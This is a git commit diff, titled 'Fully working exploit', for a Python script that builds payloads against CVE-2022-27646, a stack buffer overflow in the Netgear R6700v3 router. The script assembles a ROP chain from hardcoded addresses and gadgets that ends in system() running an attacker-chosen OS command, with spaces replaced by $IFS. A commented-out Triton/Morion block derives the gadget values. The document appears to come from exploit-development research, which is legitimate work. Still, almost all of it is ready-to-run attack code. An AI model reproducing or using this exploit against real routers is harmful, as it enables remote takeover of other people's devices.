Fully working exploit

This commit is contained in:
Damian Pfammatter
2023-07-12 16:11:56 +02:00
parent c4ff2a3bca
commit ac85667ded
+153 -16
View File
@@ -2,35 +2,172 @@
## -*- coding: utf-8 -*-
import argparse
md5_sum_len = 32
def create_payload(cmd: str = None) -> bytes:
def create_payload(cmd: str = None, crash: bool = True) -> bytes:
# Payloads to execute OS command
if cmd:
len_md5_sum = 32
max_len_cmd = 332
cmd = bytes(cmd, 'UTF-8')
payload = b"A"*(len_md5_sum+2) # 2nd fgets will overwrite this with an MD5 sum (plus "\n" and "\x00")
payload += cmd[:max_len_cmd] # System command to execute
payload += b";#" # Terminate command and ignore what follows (since we cannot use "\x00)
payload += b"B"*(max_len_cmd - len(cmd)) # Fill up depending on the command length
payload += b"\x36\xc1\xff\xbe" # r6 = r0 = 0xbeffc114 + 32 + 2 = 0xbeffc136 (address of command - no ASLR)
payload += b"C"*20 # Fill up
payload += b"\xb8\xc9\x00\x00" # pc (address of gadget: mov r0, r6; bl #0x94a0)
# Replace spaces in the command (spaces cannot be used due to sscanf(str, "%s %s"))
cmd = cmd.replace(' ', '`$IFS`')
# Payload crashing the target binary
if crash:
max_cmd_len = 332
payload = b"A"*(md5_sum_len+2) # 2nd fgets will overwrite this with an MD5 sum (plus "\n" and "\x00")
payload += bytes(cmd, 'UTF-8')[:max_cmd_len] # System command to execute
payload += b";#" # Terminate command and ignore what follows
payload += b"B"*(max_cmd_len-len(cmd)) # Fill up depending on the command length
payload += b"\x36\xc1\xff\xbe" # r6 = r0 = 0xbeffc114 + 32 + 2 = 0xbeffc136 (address of OS command, no ASLR)
payload += b"C"*20
payload += b"\xb8\xc9\x00\x00" # pc (address of gadget: mov r0, r6; bl #0x94a0 <system@plt>)
# Payload not crashing the target binary
else:
# Payload Generation with Morion
"""
from triton import *
buf0 = 0xbeffc114+34+358+4+1
buf1 = buf0+10*4
buf2 = buf1+10*4
buf2 = 0xbeffc114+1023-8*4-2*4-2*4
cmd = 0xbeffc114+34
g0_pc_ast = ctx.getRegisterAst(ctx.registers.pc)
g0_r11_ast = ctx.getRegisterAst(ctx.registers.r11)
g0_r11_val = buf0+10*4
g1_cmd_ast = ctx.getMemoryAst(MemoryAccess(cmd, 8))
g1_cmd_val = int.from_bytes(bytes("id;#", "UTF-8"), byteorder="little")
g1_r5_ast = ctx.getMemoryAst(MemoryAccess(g0_r11_val-10*4+1*4, 4))
g1_r5_val = cmd
g1_r11_ast = ctx.getMemoryAst(MemoryAccess(g0_r11_val-10*4+7*4, 4))
g1_r11_val = buf1+10*4
g1_sp_ast = ctx.getMemoryAst(MemoryAccess(g0_r11_val-10*4+8*4, 4))
g1_sp_val = buf2
g1_pc_ast = ctx.getMemoryAst(MemoryAccess(g0_r11_val-10*4+9*4, 4))
g1_pc_val = 0x9eb8
g2_pc_ast = ctx.getMemoryAst(MemoryAccess(g1_sp_val+7*4, 4))
g2_pc_val = 0x997c
g2_sp_val = g1_sp_val+8*4
g3_r3_ast = ctx.getMemoryAst(MemoryAccess(g2_sp_val+0*4, 4))
g3_r3_val = 0x94a0
g3_pc_ast = ctx.getMemoryAst(MemoryAccess(g2_sp_val+1*4, 4))
g3_pc_val = 0x9984
g3_sp_val = g2_sp_val+2*4
g4_pc_ast = ctx.getMemoryAst(MemoryAccess(g3_sp_val+1*4, 4))
g4_pc_val = 0x9428
g4_sp_val = g3_sp_val+2*4
g5_r4_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+0*4, 4))
g5_r4_val = 0x1b850
g5_r5_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+1*4, 4))
g5_r5_val = 0xbeffe9c0
g5_r6_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+2*4, 4))
g5_r6_val = 0x64ae6532
g5_r7_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+3*4, 4))
g5_r7_val = 0xbeffedc0
g5_r8_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+4*4, 4))
g5_r8_val = 0x64ae6532
g5_r9_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+5*4, 4))
g5_r9_val = 0xbeffe5c0
g5_r10_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+6*4, 4))
g5_r10_val = 0x21ae0
g5_r11_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+7*4, 4))
g5_r11_val = 0xbeffddc0
g5_sp_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+8*4, 4))
g5_sp_val = 0xbeffc8a0
g5_pc_ast = ctx.getMemoryAst(MemoryAccess(g1_r11_val-10*4+9*4, 4))
g5_pc_val = 0xf1a4#0xf768
pprint(ctx.getModel(ast.land([
g0_pc_ast == 0x9428,
g0_r11_ast == g0_r11_val,
g1_cmd_ast == g1_cmd_val,
g1_r5_ast == g1_r5_val,
g1_r11_ast == g1_r11_val,
g1_sp_ast == g1_sp_val,
g1_pc_ast == g1_pc_val,
g2_pc_ast == g2_pc_val,
g3_r3_ast == g3_r3_val,
g3_pc_ast == g3_pc_val,
g4_pc_ast == g4_pc_val,
g5_r4_ast == g5_r4_val,
g5_r5_ast == g5_r5_val,
g5_r6_ast == g5_r6_val,
g5_r7_ast == g5_r7_val,
g5_r8_ast == g5_r8_val,
g5_r9_ast == g5_r9_val,
g5_r10_ast == g5_r10_val,
g5_r11_ast == g5_r11_val,
g5_sp_ast == g5_sp_val,
g5_pc_ast == g5_pc_val
])))
"""
max_cmd_len = 352
payload = b"A"*(md5_sum_len+2) # 2nd fgets will overwrite this with an MD5 sum (plus "\n" and "\x00")
payload += bytes(cmd, 'UTF-8')[:max_cmd_len] # System command to execute
payload += b";#" # Terminate command and ignore what follows
payload += b"B"*(max_cmd_len-len(cmd)) # Fill up depending on the command length
payload += b"\xc9\xc2\xff\xbe"
payload += b"\x28\x94\x00\x00"
payload += b" "
payload += b"C"*4
payload += b"\x36\xc1\xff\xbe"
payload += b"D"*20
payload += b"\xf1\xc2\xff\xbe"
payload += b"\xe3\xc4\xff\xbe"
payload += b"\xb8\x9e\x00\x00"
payload += b"\x50\xb8\x01\x00"
payload += b"\xc0\xe9\xff\xbe"
payload += b"\x32\x65\xae\x64"
payload += b"\xc0\xed\xff\xbe"
payload += b"\x32\x65\xae\x64"
payload += b"\xc0\xe5\xff\xbe"
payload += b"\xe0\x1a\x02\x00"
payload += b"\xc0\xdd\xff\xbe"
payload += b"\xa0\xc8\xff\xbe"
payload += b"\xa4\xf1\x00\x00"
payload += b"F"*526
payload += b"\x7c\x99\x00\x00"
payload += b"\xa0\x94\x00\x00"
payload += b"\x84\x99\x00\x00"
payload += b"G"*4
payload += b"\x28\x94\x00\x00"
# Proof of vulnerability (PoV)
else:
payload = b"A"*1000 + b" B"
payload = b"A"*(md5_sum_len+2)
payload += b"B"*362
payload += b" "
payload += b"C"*626
return payload
def main() -> None:
# Argument parsing
description = """
Create payload to exploit a stack buffer overflow on Netgear R6700v3.
Create payloads to exploit CVE-2022-27646 (stack buffer overflow on Netgear
R6700v3).
"""
parser = argparse.ArgumentParser(description=description,
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--cmd", default=None, help="system command to execute or empty for sample crashing payload")
parser.add_argument("--out", default="circleinfo.txt", help="output file containing the payload")
parser.add_argument("--cmd", default=None,
help="OS command to execute or empty for a sample proof of vulnerability")
parser.add_argument("--out", default="circleinfo.txt",
help="output file containing the payload")
parser.add_argument("--crash", action="store_true",
help="simple RopChain crashing the target binary")
args = parser.parse_args()
payload = create_payload(args.cmd)
# Payload generation
payload = create_payload(args.cmd, args.crash)
with open(args.out, "wb") as f:
f.write(payload)